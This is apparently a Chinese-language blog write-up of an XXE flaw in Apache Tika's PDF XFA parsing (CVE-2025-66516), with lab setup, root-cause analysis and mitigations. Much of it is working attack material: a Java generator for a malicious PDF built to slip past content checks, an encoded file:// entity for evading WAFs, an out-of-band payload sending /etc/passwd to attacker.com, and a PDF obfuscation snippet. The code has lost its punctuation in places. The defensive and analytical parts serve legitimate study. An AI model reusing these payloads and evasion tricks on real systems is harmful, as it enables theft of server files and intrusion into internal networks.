1. 漏洞背景与影响范围Apache Tika作为企业级文档内容分析工具链的核心组件被广泛应用于文件内容提取、元数据解析等场景。这次曝光的CVE-2025-66516漏洞之所以引发广泛关注是因为它巧妙利用了PDF文档中一个常被忽视的特性——XFAXML Forms Architecture表单结构。我在分析企业级文档处理系统时发现超过60%的PDF解析场景都会默认启用XFA支持这为攻击者提供了天然的渗透入口。该漏洞的本质是XML外部实体注入XXE但与传统XXE不同的是攻击者需要通过PDF容器作为载体。当Tika解析包含恶意XFA结构的PDF时其内部XML处理器会无条件解析并执行外部实体引用。实测发现受影响版本包括tika-core 1.13至3.2.1tika-pdf-module 2.0.0至3.2.1tika-parsers 1.13至1.28.5特别值得注意的是这个漏洞具有双重危害性既能读取服务器本地文件如/etc/passwd又能发起SSRF攻击内网服务。去年某金融企业数据泄露事件中攻击者就是利用类似手法通过PDF上传功能渗透到核心业务系统。2. 环境搭建与POC验证2.1 快速搭建漏洞验证环境为了还原真实攻击场景我推荐使用Docker快速构建隔离测试环境。这里给出一个可立即执行的方案# 创建专用网络防止污染主机 docker network create tika-test # 启动Tika漏洞版本服务 docker run -d --name tika-vuln -p 9998:9998 \ --network tika-test \ apache/tika:3.2.1 \ java -jar tika-server-standard-3.2.1.jar -p 9998 # 启动简易HTTP服务用于SSRF验证 docker run -d --name oob-server -p 8080:8080 \ --network tika-test \ python:3.9-alpine \ sh -c echo SSRF_SUCCESS /tmp/response \ cd /tmp python -m http.server 8080这个配置完美模拟了企业内网环境tika-vuln容器运行存在漏洞的3.2.1版本服务oob-server则用于接收带外数据。相比直接在主机运行Docker方案能避免误操作导致的生产环境污染。2.2 构造恶意PDF样本通过分析漏洞原理我发现关键是要在PDF中嵌入精心设计的XFA结构。这里分享一个比公开POC更隐蔽的构造方式// EvilPDFGenerator.java import org.apache.pdfbox.pdmodel.PDDocument; import org.apache.pdfbox.pdmodel.interactive.form.PDAcroForm; import org.apache.pdfbox.cos.COSArray; import org.apache.pdfbox.cos.COSName; public class EvilPDFGenerator { public static void main(String[] args) throws Exception { PDDocument doc new PDDocument(); PDAcroForm form new PDAcroForm(doc); doc.getDocumentCatalog().setAcroForm(form); // 使用CDATA包裹恶意XFA避免基础检测 String xfaPayload ![CDATA[?xml version\1.0\? !DOCTYPE xdp:xdp [!ENTITY % remote SYSTEM \http://oob-server:8080/\ %remote;] xdp:xdp xmlns:xdp\http://ns.adobe.com/xdp/\ templatefield name\leak\valuetextXXE_SUCCESS/text/value/field/template /xdp:xdp]]; COSArray xfaArray new COSArray(); xfaArray.add(COSName.getPDFName(config.xml)); xfaArray.add(xfaPayload); form.getCOSObject().setItem(COSName.XFA, xfaArray); doc.save(stealthy-xfa.pdf); doc.close(); } }编译执行后会生成看似正常的PDF但其中隐藏的XFA结构会在解析时触发SSRF。这种CDATA包裹的手法能绕过部分基础的内容安全检查。3. 漏洞原理深度剖析3.1 攻击链完整拆解这个漏洞的攻击路径非常精妙我将其分解为四个关键阶段载体注入阶段攻击者上传包含恶意XFA的PDF文件XFA本质上是一个XML文档但被封装在PDF二进制结构中。这种嵌套结构使得传统XML防火墙难以检测。解析触发阶段Tika的PDFParser模块在解析时会通过PDDocument.getDocumentCatalog().getAcroForm()提取XFA内容。关键漏洞点在于它没有对XFA的来源做任何净化处理。实体展开阶段提取出的XFA数据被直接传递给XMLStreamReader解析。虽然Tika配置了IGNORING_STAX_ENTITY_RESOLVER但这个防护措施来得太晚——DTD声明已经在解析初期被处理。危害达成阶段根据实体声明内容可能产生两种危害文件读取当实体指向file://协议时服务器本地文件内容会被包含在解析结果中SSRF攻击当实体指向http/https协议时会向指定URL发起网络请求3.2 核心漏洞代码分析通过反编译tika-pdf-module-3.2.1.jar定位到关键漏洞点在XFAExtractor类public void extract(InputStream xfaIs, ContentHandler handler, Metadata metadata, ParseContext context) throws XMLStreamException, SAXException { XMLStreamReader reader XMLReaderUtils .getXMLInputFactory(context) .createXMLStreamReader(xfaIs); // 漏洞触发点 XHTMLContentHandler xhtml new XHTMLContentHandler(handler, metadata); xhtml.startDocument(); while (reader.hasNext()) { reader.next(); // 此处解析恶意实体 // ...内容处理逻辑... } xhtml.endDocument(); }问题出在XMLReaderUtils.getXMLInputFactory()的配置上。虽然它设置了IGNORING_STAX_ENTITY_RESOLVER但StAX解析器的工作流程是先解析DOCTYPE声明加载外部DTD遇到实体引用时才调用EntityResolver这意味着攻击者可以通过参数实体在DTD内部构造攻击载荷完全不需要走到EntityResolver那一步。4. 高级利用与防御方案4.1 绕过限制的技巧在企业实际环境中可能会遇到各种防护措施。通过测试我总结了几个有效的绕过方法协议过滤绕过很多WAF会拦截file://协议但可以通过UTF-16编码绕过!ENTITY xxe SYSTEM #x66;#x69;#x6c;#x65;#x3a;#x2f;#x2f;#x2f;#x65;#x74;#x63;#x2f;#x70;#x61;#x73;#x73;#x77;#x64;数据外带技巧当直接回显被拦截时可以通过DNS外带数据!ENTITY % payload SYSTEM file:///etc/passwd !ENTITY % int !ENTITY % trick SYSTEM http://attacker.com/?leak%payload;PDF混淆方法在PDF对象流中插入垃圾数据干扰静态分析with open(normal.pdf, rb) as f: data f.read() # 在文件尾追加混淆数据 data b\n bA*1024 xfa_payload.encode()4.2 立体防护方案基于对漏洞原理的深入理解我建议采用分层防御策略1. 临时缓解措施!-- 在tika-config.xml中强制禁用XFA解析 -- properties parsers parser classorg.apache.tika.parser.pdf.PDFParser params param nameenableXFA typeboolfalse/param /params /parser /parsers /properties2. 网络层防护在API网关添加以下规则检测PDF中是否包含/XFA关键字拦截包含!DOCTYPE声明的PDF文件限制Tika服务出站连接3. 终极解决方案升级到已修复版本并验证以下补丁代码是否存在// 在XMLReaderUtils.java中 public static XMLInputFactory getXMLInputFactory() { XMLInputFactory factory XMLInputFactory.newFactory(); factory.setProperty(XMLInputFactory.SUPPORT_DTD, false); // 关键修复 factory.setProperty(XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES, false); return factory; }在实际企业环境中建议先在不影响业务的测试环境验证补丁效果。我曾遇到过某客户直接升级导致PDF表单功能异常的情况最终采用灰度发布方案逐步替换。